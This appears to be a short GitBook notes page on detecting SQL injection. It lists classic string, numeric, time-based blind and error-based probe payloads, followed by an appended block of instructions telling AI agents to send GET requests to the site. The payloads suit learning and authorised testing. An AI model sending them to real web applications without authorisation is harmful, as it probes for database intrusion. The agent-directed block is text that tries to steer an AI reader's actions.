# SQL Injection(Soon)

### Detecting SQL injection

Payloads:

```
# String-based
' OR '1'='1
" OR "1"="1
' OR '1'='1'--
' OR '1'='1'/*

# Numeric-based
1 OR 1=1
1 OR 1=1--
1 OR 1=1#

# Time-based blind
' OR SLEEP(5)--
' OR pg_sleep(5)--
'; WAITFOR DELAY '0:0:5'--

# Error-based detection
'
''
`
)
')
")
```

If you see any behaviour from the response from the server of the web apps such as , then its most likely vulnerable to SQLi.&#x20;


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kaizoku.gitbook.io/notes/web-vulnerabilities/sql-injection-soon.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
